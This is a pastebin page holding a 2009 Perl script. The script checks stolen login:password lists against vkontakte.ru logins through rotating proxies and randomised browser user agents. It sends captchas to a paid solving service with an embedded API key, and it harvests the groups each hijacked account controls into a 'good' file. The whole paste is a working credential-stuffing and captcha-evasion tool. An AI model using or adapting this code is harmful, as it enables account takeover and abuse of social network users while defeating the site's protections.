Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)
Paste
Pasted as Perl by ass ( 17 years ago )
#!/usr/bin/perl
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
#############CONFIG##################
my $facc = 'accs.txt'; # ???? ? ??????(? ??????? ????:????)
my $repl = ';'; # ??????????? ?????? ?????
my $threads = 1; # ???-?? ???????
my $sx = 0; # ????? ??????(1 - ?????, 0 - ?? ?????)
my $pfile = 'proxy.txt'; # ???? ? ????????
my $good = 'good.txt'; # ???? ? ????????? ?????? (? ?????????? ?????)
my $sleep = 1; # ???????? ??? ???????????
my $tout = 60; # ????-???
my $key = '1364490d81ba5b27748d4c114a4d3ef7';
#############CONFIG##################
open(F, $pfile) || die("Could not open proxy file!");
@proxy = <F>;
chomp(@proxy);
close(F);
open(A, $facc) || die("Could not open accs file!");
my @accs : shared = <A>;
my $accsize = scalar @accs;
chomp(@accs);
close(A);
print "Started at: ";
print localtime()."
";
print "Loaded: $accsize accs...
";
sleep(1);
my $i : shared;
$| =1;
for(0..$threads-1) {$trl[$_] = threads->create(&main, $_);}
for(@trl) { $_->join; }
sub main{
my ($ua, $ck) = browser($_);
if($sx) {until(proxy($ua)){}}
while(@accs){
$ck->clear();
my $acc = shift @accs;
my ($login,$pass) = split /$repl/, $acc;
my $res = $ua->post('http://vkontakte.ru/login.php',{
'op' => 'a_login_attempt',
'email' => $login,
'pass' => $pass,
'expire' => '0',
})->as_string;
sleep($sleep);
if($res =~ /good/){
sch($ua,$acc);}
elsif($res =~ /failed/){
print "Bad account: $acc !!
";}
elsif($res =~ /"captcha_sid":"(d*)"/){
my $sid = $1;
my $cap = $ua->get("http://vkontakte.ru/captcha.php?s=1&sid=$sid")->content;
my $dig = captcha($ua,$sid);
my $ress = $ua->post('http://vkontakte.ru/login.php',{
'op' => 'a_login_attempt',
'email' => $login,
'pass' => $pass,
'expire' => '0',
'captcha_sid' => $sid,
'captcha_key' => $dig,
})->as_string;
if($ress =~ /good/){
sch($ua,$acc);
}else{
print "Bad account: $acc !!
";}}
{lock($i);$i++;}
print "<Progress cheking: ".sprintf("%.2f", ($i/$accsize)*100)."% >";
}}
print "Ended at: ";
print localtime()."
";
sub sch{
my ($ua,$acc) = @_;
my $ans = $ua->get("http://vkontakte.ru/groups.php")->content;
if($ans =~ /act=info&gid=/){
while($ans =~ /act=info&gid=(d*)"/msgi){
my $id = $1;
my $con = $ans =~ /group=$id">(d*)(.*?)</a>/; my $cn = $1;
open (G, ">>$good");
print G "$acc (ID:$id and Count people: $cn)
";
close G;
print "$acc (ID:$id and Count people: $cn)
";}}
}
sub browser {
my($val) = shift;
my $cookie_jar = HTTP::Cookies->new;
my $ua = LWP::UserAgent->new();
$ua->cookie_jar($cookie_jar);
$ua->agent(swa());
$ua->parse_head(0);
$ua->timeout($tout);
return $ua,$cookie_jar;
}
sub proxy {
my($ua) = @_;
if(scalar @proxy == 0) {die "No more proxy
";}
my $seed = int(rand(scalar @proxy));
my $cp = $proxy[$seed];
$ua->proxy(['http'] => 'http://'.$cp);
if($ua->get('http://r0.ru')->is_success){print " ||Current proxy $cp||
"; return 1;}
else {splice(@proxy,$seed,1); print " ||Proxy error $cp||
"; return 0;}
}
sub swa {
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub captcha {
my ($ua,$sid) = @_;
my $seed = int(rand(1000));
my $cid = $seed."captcha".$seed.".jpg";
my $cap = $ua->get("http://vkontakte.ru/captcha.php?s=1&sid=$sid")->content;
open(F,">./tmp/$cid"); binmode F; print F $cap; close(F);
my $capt = grendayzer($cid);
return $capt;
}
sub grendayzer {
my($img) = @_;
my $ua = LWP::UserAgent->new();
print " Recognizing captcha...
";
my $digits = '';
M:
my $response = $ua->post( "http://vip.anti-captcha.com/in.php",
Content_Type => 'form-data',
Content => [ file => ["./tmp/$img", "$img", "Content-Type" => "application/octet-stream"],
method => "post",
key => $key
]
)->as_string;
if($response =~ /OK|(d+)/) {
my $kkey = $1;
do {
print(" Waiting chinese response...($kkey)
");
$digits = $ua->get("http://vip.anti-captcha.com/res.php?key=$key&action=get&id=$kkey")->as_string; sleep(5);
}
while($digits =~ /CAPCHA_NOT_READY/);
$digits =~ /OK|(.*)/; $digits = $1;
}
elsif ($response =~ /ERROR_NO_SLOT_AVAILABLE/) {sleep(1); print " Waiting for slot...
"; goto M;}
elsif ($response =~ /ERROR_KEY/) {print " Your anti-captcha key is invalid, please check or remove it
"; exit(0);}
else { $response =~ /
(.*)/s; print "Something wrong with ac: $1
";}
print "Recognized $digits
";
unlink "./tmp/$img";
return $digits;
}
#(c) Gaus (2009)
Revise this Paste
Children: 7083